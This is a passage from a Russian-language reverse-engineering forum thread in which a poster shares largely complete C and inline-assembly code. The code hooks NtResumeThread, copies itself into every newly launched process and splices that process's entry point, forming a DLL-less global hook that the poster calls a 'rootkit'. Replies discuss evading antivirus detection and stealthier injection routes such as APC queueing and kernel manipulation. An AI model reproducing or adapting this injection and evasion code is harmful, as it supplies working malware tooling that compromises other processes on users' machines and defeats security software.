    Т.е. тут сначала вызывается функция UltraISO.00BA400A, которая вытаскивает EPB из стека, инкрементирует и засовывает обратно. Затем, когда происходит RET, вы возвращаемся уже не на 00BA4007 (где 0xE9 - это опкод JMP'а), а на 00BA4008 (где 0xEB - это однобайтовый JMP, с пом. которого мы перепрыгиваем процедуру UltraISO.00BA400A и попадаем на 00BA400E (где 0xE8 - это relative-call, благодаря которому мы уже попадаем не на short-jmp, а на оригинальную точку входа - 00BA4014.

    Т.е., когда я сплайсю точку входа, я копирую две первых инструкции (PUSHAD и CALL) в "мостик", на который передам управление в Inject-функции, которую внедрил вместо оригинальной точки входа:

    Код (Text):
    1. VOID epInject () {
    2.     __MARKER
    3.  
    4.     // Хукинг
    5.     Inject(NULL);
    6.     Inject2(NULL);
    7.  
    8.     DWORD dwBufEmptry = (DWORD)bufEmpty;
    9.     __asm push  dwBufEmptry ; вот тут я передаю управление на "мостик" с PUSHAD и CALL
    10.     __asm ret
    11. }
    И, когда я это сделаю, при выполнении этого кода:
    Код (Text):
    1. 00BA400A  /$ 5D             POP EBP
    2. 00BA400B  |. 45             INC EBP
    3. 00BA400C  |. 55             PUSH EBP
    4. 00BA400D  \. C3             RETN
    Я возвращусь не на JMP (после мостика идёт JMP на остаток оригинальной функции), который будет указывать на 00BA4007 (что уже само по себе неверно), а на JMP + 1. Т.е. будет переход куда-то в половину инструкции и меня ждёт вот что:

    [​IMG]

    Товарищи, plz подскажите как решить проблему!
     
  14. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Что-то ничего лучше, чем выполнить epInject, снять хук (восстановив начало оригинальной функции) и передать туда управление ... мне в голову не приходит.
    Впринципе, всё равно же только один поток оказывается у точки входа и коллизий возникнуть не должно при снятии хука.
    Так?
     
  15. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Или лучше хукнуть NtCreateThread, т.к. походу, там, можно достать из CONTEXT.Eax адрес точки входа и изменить этот адрес, передав управление на свой код. Кто-нибудь делал так? Всё ок?
     
  16. CrystalIC

    CrystalIC New Member

    Публикаций:
    0
    Регистрация:
    26 июл 2008
    Сообщения:
    500
    Я дал вам новую технику, почему вы не хотите использовать это ?
    Пользуйтесь чужим опытом, это позволит быстро добиться успеха, иначе понадобится очень много времени пока вы к этому придёте..
    Для ядра не существует OEP, есть модуль, который сопоставлен процессу и тред в контексте которого один регистр содержит ссылку на адрес из опционального заголовка модуля, куда загрузчик передаст управление. Иного ничего про "точку входа" ось не знает(этот адрес описан в секции), как в прочем и нормальный кодер не отделяет два стартовых адреса в криптованных модулях(не путать со статикой), модуль один, криптованный код является частью приложения, нет смысла разделять это. Аналогично виртуальная и реальная OEP не являются началом программы. Для загрузчика код по этому адресу последний, на который он передаст управление.
    > сплайсю точку входа
    Отвратно.. зачем это, если вы полностью владеете контекстом потока, как впрочем и всем поведением его от начала исполнения. Видим единственную причину - инфект, который применялся в самом начале зарождения сцены..
    Нормально решение должно заключаться в управлении загрузчиком. Это всё имеет примитивную реализацию, незачем описывать то, что всплывёт в первой строке поисковика. Изучайте механизм инициализации приложения, вы поймёте все нюансы и наилучшее решение. Само название темы абсолютно иное чем последние вопросы, LdrInitializeThunk() это адрес первичной пользовательской апк потока, единственная причина для захвата этого - блокирование запуска новых тредов, либо некоторые действия, которые должны исполняться до запуска загрузчика. Иначе захват данной апк не имеет смысла. В любом случае альтернативой является манипуляции на ядерном уровне, куда и следует смотреть в дальнейшем.
     
  17. djmans

    djmans New Member

    Публикаций:
    0
    Регистрация:
    27 дек 2006
    Сообщения:
    312
    да салв
     
  18. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Я думаю, у меня больше времени уйдёт на анализ вашего кода, чем на завершение метода сплайсинга точки входа.
    Мне бы сейчас в ring3 доделать глобальный хукинг (один хрен он будет палиться проактивками как его не реализовывай), а дальше в ring0 полезу.

    Ну да, причина - это хукинг функций не в ntdll.
    MS-Rem и предлагал хукнуть LdrInitializeThunk, для этого:

    Ну да, конечно. Никто и не спорит. Только опыта в ring0 у меня нет и книжка Руссинович М. Соломон Д. Внутреннее устройство Microsoft Windows... 4-е изд. 2005г. 992 стр. ISBN 5-469-01174-7,5-7502-0085-x.djvu лежит непрочитанная. *WALL*
     
  19. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Ну да, всё получилось. На win2k пока не тестировал, но оно работает.

    Хукнутая NtResumeThread:

    Код (Text):
    1. SPLICE hookNtResumeThread;
    2. BOOL WINAPI xNtResumeThread(
    3.   IN HANDLE               ThreadHandle,
    4.   OUT PULONG              SuspendCount OPTIONAL
    5. )
    6. {
    7.     __MARKER;
    8.  
    9.     //  NTSYSAPI NTSTATUS NTAPI
    10.     //  NtQueryInformationThread(
    11.     //    IN HANDLE ThreadHandle,
    12.     //    IN THREAD_INFORMATION_CLASS ThreadInformationClass,
    13.     //    OUT PVOID ThreadInformation,
    14.     //    IN ULONG ThreadInformationLength,
    15.     //    OUT PULONG ReturnLength OPTIONAL );
    16.     THREAD_BASIC_INFORMATION ti;
    17.     NTSTATUS rt = NtQueryInformationThread(ThreadHandle, (THREADINFOCLASS)ThreadBasicInformation, (PVOID)&ti, (ULONG)sizeof(THREAD_BASIC_INFORMATION), NULL);
    18.     if (!NT_SUCCESS(rt))
    19.         goto L_ERR;
    20.     if (ti.ClientId.UniqueProcess != (HANDLE)GetCurrentProcessId()) {
    21.  
    22.         HANDLE h = (HANDLE)GOpenProcess(PROCESS_ALL_ACCESS, FALSE, ti.ClientId.UniqueProcess);
    23.         if (h) {
    24.             // Getting entry point
    25.             SECTION_IMAGE_INFORMATION sii;
    26.             NTSTATUS stat = NtQueryInformationProcess(h,
    27.                                                 (PROCESSINFOCLASS)ProcessSectionImageInformation,
    28.                                                 &sii,
    29.                                                 sizeof SECTION_IMAGE_INFORMATION,
    30.                                                 NULL);
    31.             if (NT_ERROR(stat))
    32.                 goto L_ERR;
    33.  
    34.             // Storing all needed data ato global vars and do transfer program
    35.             hookEPInject.lpHookFunc = (LPVOID)epInject;
    36.             hookEPInject.lpOrgFunc = sii.EntryPoint;
    37.             DWORD szBridgeLength;
    38.             if ( (szBridgeLength = GetRemoteBridgeLength(h, hookEPInject.lpOrgFunc, 64)) == FALSE )
    39.                 goto L_ERR;
    40.             if ( NT_ERROR(CopyPartOfRemoteFunc(h, &hookEPInject)) )  // NT_ERROR ? =)
    41.                 goto L_ERR;
    42.             hookEPInject.szBufOrgFunc = szBridgeLength;
    43.            
    44.             // Transfer code of this program to another process
    45.             INT ImageBaseDelta = TransferProgramEx( h );
    46.             if (ImageBaseDelta < 0)
    47.                 goto L_ERR;
    48.  
    49.             // Splicing of entry point
    50.             SetRemoteSplicingHook(h, &hookEPInject, ImageBaseDelta);
    51.            
    52.             GCloseHandle(h);
    53.         }
    54.     }
    55.  
    56. L_ERR:
    57.  
    58.     BOOL res;
    59.     LPVOID addr = (LPVOID)hookNtResumeThread.bufOrgFunc;
    60.     __asm {
    61.         mov     eax, SuspendCount
    62.         push    eax
    63.         mov     eax, ThreadHandle
    64.         push    eax
    65.         call    addr
    66.         mov     res, eax
    67.     }
    68.  
    69.     if (!NT_SUCCESS(res))
    70.         return res;
    71.  
    72.     return res;
    73. }
    Хукнутая точка входа:

    Код (Text):
    1. VOID epInject () {
    2.     __MARKER
    3.    
    4.     // Do smth crazy stuff here (hooking user32.dll or smth like that)
    5.     Inject(NULL);
    6.  
    7.     // Unhook entry point
    8.     HANDLE hProcess = GetCurrentProcess();
    9.     LPVOID BaseAddress = hookEPInject.lpOrgFunc;
    10.     DWORD NumberOfBytesToProtect = hookEPInject.szBufOrgFunc;
    11.     DWORD dwOldProtect;
    12.     //NTSYSAPI NTSTATUS NTAPI
    13.     //NtProtectVirtualMemory(
    14.     //  IN HANDLE ProcessHandle,
    15.     //  IN OUT PVOID *BaseAddress,
    16.     //  IN OUT PULONG NumberOfBytesToProtect,
    17.     //  IN ULONG NewAccessProtection,
    18.     //  OUT PULONG OldAccessProtection );
    19.     NTSTATUS stat = (NTSTATUS)GNtProtectVirtualMemory(hProcess, &BaseAddress, &NumberOfBytesToProtect, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    20.     if (NT_SUCCESS(stat))
    21.     {
    22.         DWORD NumberOfBytesWritten = 0;
    23.         if (!WriteProcessMemory(hProcess, hookEPInject.lpOrgFunc, hookEPInject.bufOrgFuncBck, hookEPInject.szBufOrgFunc, &NumberOfBytesWritten)) {
    24.             // Cannot recover entry point? Well, we will try to use our bringe to EP
    25.             if (NumberOfBytesWritten == 0) {
    26.                 DWORD dwBufOrgFunc = (DWORD)hookEPInject.bufOrgFunc;
    27.                 __asm push  dwBufOrgFunc
    28.                 __asm ret
    29.             }
    30.         }
    31.     }
    32.  
    33.     // Calling unhooked EP
    34.     DWORD dwOrgFunc = (DWORD)hookEPInject.lpOrgFunc;
    35.     __asm push  dwOrgFunc
    36.     __asm ret
    37. }
    Вспомогательные функции:

    Код (Text):
    1. struct SPLICE
    2. {
    3.     LPVOID lpOrgFunc;
    4.     LPVOID lpHookFunc;
    5.     BYTE bufOrgFunc[64];
    6.     BYTE bufOrgFuncBck[64];
    7.     DWORD szBufOrgFunc;
    8. };
    9. typedef SPLICE *PSPLICE;
    10.  
    11. bool SetRemoteSplicingHook(HANDLE hProcess, PSPLICE pSplice, INT ImageBaseDelta)
    12. {
    13.     LPVOID lpOrgFunc = pSplice->lpOrgFunc;
    14.     LPVOID lpHookFunc = pSplice->lpHookFunc;
    15.     PBYTE pbOrgFuncBuf = pSplice->bufOrgFunc;
    16.  
    17.     //// Проверка указателей
    18.     //if (IsBadWritePtr(pbOrgFuncBuf, 64) || IsBadReadPtr(lpOrgFunc, 5))
    19.     //  return false;
    20.  
    21.     lpHookFunc = (PBYTE)lpHookFunc + ImageBaseDelta;
    22.     pbOrgFuncBuf += ImageBaseDelta;
    23.    
    24.     // Читаем 0x1000 байт от начала функции, которую собираемся перехвачивать
    25.     //
    26.     //NTSYSAPI NTSTATUS NTAPI
    27.     //NtReadVirtualMemory(
    28.     //  IN HANDLE ProcessHandle,
    29.     //  IN PVOID BaseAddress,
    30.     //  OUT PVOID Buffer,
    31.     //  IN ULONG NumberOfBytesToRead,
    32.     //  OUT PULONG NumberOfBytesReaded OPTIONAL );
    33.     BYTE Buffer[0x1000];
    34.     ULONG NumberOfBytesToRead = sizeof(Buffer);
    35.     ULONG NumberOfBytesReaded;
    36.     NTSTATUS stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, lpOrgFunc, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded);
    37.     if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) )
    38.         return false;
    39.     // Перехвачена ли функция?
    40.     //
    41.     // Чтобы это выяснить, мы должны проследовать по JMP'у в начале
    42.     //  этой функции и посмотреть - есть ли там "инструкции-маркеры"
    43.     hde32s hs;
    44.     hde32_disasm( (LPVOID)Buffer, &hs );
    45.     if ( hs.flags & F_ERROR )
    46.         return false;
    47.     if (hs.opcode == JMP) {
    48.        
    49.         LPVOID addr = (LPVOID)( (DWORD)Buffer + hs.len + hs.imm.imm32 );
    50.  
    51.         NumberOfBytesToRead = sizeof(Buffer);
    52.         stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, addr, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded);
    53.         if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) )
    54.             return false;
    55.  
    56.         addr = (LPVOID)( Buffer );
    57.        
    58.         for (DWORD i = 0; i < 0x1000; ) {
    59.             hde32_disasm((LPVOID) ((DWORD)addr + i), &hs); // need to fix
    60.  
    61.             if ( hs.opcode == RETN1
    62.               || hs.opcode == RETN2
    63.               || hs.opcode == INT3 )
    64.                 break;
    65.  
    66.             if ( hs.flags & F_ERROR )
    67.                 return false;
    68.             i += hs.len;
    69.             if (hs.opcode == INC_EAX) {
    70.                 hde32_disasm((LPVOID) ((DWORD)addr + i), &hs);
    71.                 if ( hs.flags & F_ERROR )
    72.                     return false;
    73.                 i += hs.len;
    74.                 if (hs.opcode == DEC_EAX)
    75.                     return false;
    76.             }
    77.         }
    78.     }
    79.  
    80.     // Копируем начало функции по адресу lpOrgFunc (Buffer)
    81.     // Для определния дли инструкций используем HDE32
    82.     //
    83.     //ZeroMemory(pbOrgFuncBuf, szBuf);
    84.     BYTE emptyBuf[64] = {0};
    85.     DWORD szBuf = 64; // 64 байта - максимальный размер буфера
    86.     DWORD NumberOfBytesWritten;
    87.     stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBuf, emptyBuf, szBuf, &NumberOfBytesWritten);
    88.     if (NT_ERROR(stat) || (szBuf != NumberOfBytesWritten))
    89.         return false;
    90.  
    91.     DWORD szBufCode;
    92.     if ( (szBufCode = GetBridgeLength(Buffer, szBuf)) == FALSE ) {
    93.         return false;
    94.     }
    95.     // ok
    96.     pSplice->szBufOrgFunc = szBufCode;
    97.  
    98.     // Копируем начало функции по адресу lpOrgFunc (Buffer)
    99.     //CopyMemory((PBYTE)pbOrgFuncBuf, Buffer, szBufCode);
    100.     stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBuf, Buffer, szBufCode, &NumberOfBytesWritten);
    101.     if (NT_ERROR(stat) || (szBufCode != NumberOfBytesWritten))
    102.         return false;
    103.  
    104.     // Пробегаемся по коду и смотрим, есть ли в скопированном коде инструкции JMP или CALL
    105.     // Если есть - правим аргументы
    106.     ZeroMemory(Buffer, 0x1000);
    107.     NumberOfBytesToRead = szBufCode;
    108.     stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, pbOrgFuncBuf, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded);
    109.     if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) )
    110.         return false;
    111.  
    112.     for (DWORD i = 0; i < szBufCode; i += hs.len) {
    113.         hde32_disasm((LPVOID) ((DWORD)Buffer + i), &hs);
    114.         if ( hs.flags & F_ERROR )
    115.             break;
    116.  
    117.         if (hs.opcode == JMP || hs.opcode == CALL) {
    118.             DWORD arg = hs.imm.imm32;
    119.             DWORD offset = (DWORD) ( (DWORD)lpOrgFunc - (DWORD)pbOrgFuncBuf );
    120.             //*(PDWORD) ( (DWORD)pbOrgFuncBuf + (i + 1) ) = arg + offset;
    121.             DWORD dwp = arg + offset;
    122.             stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, (DWORD)pbOrgFuncBuf + (i + 1), &dwp, sizeof(DWORD), &NumberOfBytesWritten);
    123.             if (NT_ERROR(stat) || (sizeof(DWORD) != NumberOfBytesWritten))
    124.                 return false;
    125.         }
    126.     }
    127.  
    128.     // В конец добавляем JMP на адрес функции lpOrgFunc, с учётом смещения в szBufCode байт
    129.     DWORD offset = (DWORD) ( (DWORD)lpOrgFunc - (DWORD)pbOrgFuncBuf ) - ( 1 + sizeof(DWORD) );
    130.  
    131.     //*(PBYTE) ( (DWORD)pbOrgFuncBuf + szBufCode ) = JMP;
    132.     //*(PDWORD) ((DWORD)pbOrgFuncBuf + (szBufCode + 1)) = offset;
    133.     BYTE bufOrgFuncBuf[5] = {0};
    134.     bufOrgFuncBuf[0] = JMP;
    135.     *(PDWORD)((DWORD)bufOrgFuncBuf + 1) = offset;
    136.    
    137.     DWORD pbOrgFuncBufP2 = (DWORD)pbOrgFuncBuf + szBufCode;
    138.     stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBufP2, bufOrgFuncBuf, sizeof(bufOrgFuncBuf), &NumberOfBytesWritten);
    139.     if (NT_ERROR(stat) || ((DWORD)sizeof(bufOrgFuncBuf) != NumberOfBytesWritten))
    140.         return false;
    141.  
    142.     // Разрешаем запись в страницу с кодом
    143.     DWORD old = 0;
    144.     //HANDLE hProcess = (HANDLE)-1;
    145.     //NTSTATUS stat;
    146.     LPVOID BaseAddress = lpOrgFunc;
    147.     DWORD NumberOfBytesToProtect = szBufCode;
    148.  
    149.     //stat = (NTSTATUS)GNtProtectVirtualMemory(hProcess, &BaseAddress, &NumberOfBytesToProtect, PAGE_READWRITE, &old);
    150.     stat = (NTSTATUS)GNtProtectVirtualMemory(hProcess, &BaseAddress, &NumberOfBytesToProtect, PAGE_EXECUTE_READWRITE, &old);
    151.     if (!NT_SUCCESS(stat))
    152.         return false; // NumberOfBytesToProtect : Pointer to size of region to protect. On output will be round to page size (4KB).
    153.  
    154.     // Ставим JMP в начало оригинальной функции на функцию-перехватчик
    155.     offset = ((DWORD) lpHookFunc - (DWORD) lpOrgFunc) - (1 + sizeof(DWORD));
    156.     //*(PBYTE)lpOrgFunc = JMP;
    157.     //*(PDWORD)((DWORD)lpOrgFunc + 1) = offset;
    158.     BYTE bufOrgFuncRepl[5] = {0};
    159.     bufOrgFuncRepl[0] = JMP;
    160.     *(PDWORD)((DWORD)bufOrgFuncRepl + 1) = offset;
    161.     //DWORD NumberOfBytesWritten;
    162.     //BOOL res = WriteProcessMemory(hProcess, lpOrgFunc, (LPCVOID)bufOrgFuncRepl, sizeof(bufOrgFuncRepl), &NumberOfBytesWritten);
    163.     stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, lpOrgFunc, bufOrgFuncRepl, sizeof(bufOrgFuncRepl), &NumberOfBytesWritten);
    164.     //if ( !res || (NumberOfBytesWritten != (DWORD)sizeof(bufOrgFuncRepl)) )
    165.     if ( !NT_SUCCESS(stat) || (NumberOfBytesWritten != (DWORD)sizeof(bufOrgFuncRepl)) )
    166.         return false;
    167.  
    168.     //// Восстанавливаем старые атрибуты страницы
    169.     //BaseAddress = lpOrgFunc;
    170.     //NumberOfBytesToProtect = szBufCode;
    171.     //stat = (NTSTATUS)GNtProtectVirtualMemory(hProcess, &BaseAddress, &NumberOfBytesToProtect, old, &old);
    172.     //if (!NT_SUCCESS(stat))
    173.     //  return false;
    174.  
    175.     // Ништяк
    176.     return true;
    177. }
    178.  
    179. DWORD GetBridgeLength(LPVOID lpAddress, DWORD szMaxBridgeSize)
    180. {
    181.     DWORD i;
    182.     hde32s hs;
    183.     for (i = 0; i < szMaxBridgeSize; ) { // 5 bytes min (!)
    184.         hde32_disasm((LPVOID) ((DWORD)lpAddress + i), &hs);
    185.         if ( hs.flags & F_ERROR )
    186.             break;
    187.         i += hs.len;
    188.  
    189.         // Если встерим Short-Relative команду - возвращаем FALSE,
    190.         //  т.к. Такой stuff unsupported yet
    191.         if ( (hs.opcode >= JO_SHORT && hs.opcode <= JG_SHORT)
    192.             || (hs.opcode >= LOOPNE   && hs.opcode <= JECXZ)
    193.             || hs.opcode == JMP_SHORT )
    194.             break;
    195.  
    196.         if (i >= 5)
    197.             break;
    198.     }
    199.     if ( (i < 5) || (i >= szMaxBridgeSize) )
    200.         return 0;
    201.     return i;
    202. }
    203.  
    204. DWORD GetRemoteBridgeLength(HANDLE hProcess, LPVOID lpAddress, DWORD szMaxBridgeSize)
    205. {
    206.     BYTE Buffer[0x1000];
    207.     ULONG NumberOfBytesToRead = sizeof(Buffer);
    208.     ULONG NumberOfBytesReaded;
    209.     NTSTATUS stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, lpAddress, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded);
    210.     if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) )
    211.         return 0;
    212.  
    213.     DWORD i;
    214.     hde32s hs;
    215.     for (i = 0; i < szMaxBridgeSize; ) { // 5 bytes min (!)
    216.         hde32_disasm((LPVOID) ((DWORD)Buffer + i), &hs);
    217.         if ( hs.flags & F_ERROR )
    218.             break;
    219.         i += hs.len;
    220.  
    221.         // Если встерим Short-Relative команду - возвращаем FALSE,
    222.         //  т.к. Такой stuff unsupported yet
    223.         if ( (hs.opcode >= JO_SHORT && hs.opcode <= JG_SHORT)
    224.             || (hs.opcode >= LOOPNE   && hs.opcode <= JECXZ)
    225.             || hs.opcode == JMP_SHORT )
    226.             break;
    227.  
    228.         if (i >= 5)
    229.             break;
    230.     }
    231.     if ( (i < 5) || (i >= szMaxBridgeSize) )
    232.         return 0;
    233.     return i;
    234. }
    235.  
    236. DWORD CopyPartOfRemoteFunc(HANDLE hProcess, PSPLICE pSplice)
    237. {
    238.     ULONG NumberOfBytesToRead = sizeof pSplice->bufOrgFuncBck;
    239.     ULONG NumberOfBytesReaded;
    240.     NTSTATUS stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, pSplice->lpOrgFunc, pSplice->bufOrgFuncBck, NumberOfBytesToRead, &NumberOfBytesReaded);
    241.     if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) )
    242.         return 1;
    243.  
    244.     return 0;
    245. }
    Вообще, чего я хотел этим добиться? - Я хотел без использования DLL'ок сделать глобальный хук.
    Примечательно и то, что shellcode не пришлось писать. Это офигенно удобно. Хотя, это не есть гут, т.к. подобный "руткит" в памяти занимает порядка ~10 страниц. Если бы инжектить shellcode - было бы гораздо экономнее и вообще, быстрее.
     
  20. CrystalIC

    CrystalIC New Member

    Публикаций:
    0
    Регистрация:
    26 июл 2008
    Сообщения:
    500
    Ремо не знал главного, это суть захвата, либо знал но не говорил.. Для ночала нужно было разрулить меаниз запуска тредов. Если изменяется код в памяти, то не имеет значения адрес, по которому меняется значение. Тысячи/десятки тысяч инструкций будут исполнены до передачи управления на еп. Любое место в процессе исполнения может быть изменено.
    Палиться будет только запись через ссдт, либо ваша модификация кода. Иначе детекта не будет, не сущетсвует более-менее вменяемых тулз для этого.
    Это не руткит, он по определению не может быть обнаружен элементарными средствами, такими как сравнение секций кода в памяти и на диске.
    Не знаю что вы там задумали, но оно никому не нужно, куча вариантов, поставить апк в очередь этого треда, либо контекст загрузить, да и вобще стопяцот калбэков всевозможных можно использовать, мехонизм исключений и пр.
    Само грустно что абсолютно все выбирают наихудший и обычно самый лёгкий путь решения(тут обратное), часто не понимая что они делают и зачем оно нужно, ибо как оное копипаст, мы по этому поводу негодуем.. наверно тут идёт сугубо откатка опыта в написании скриптов(быдло практикуется), тогда я ошибся темой.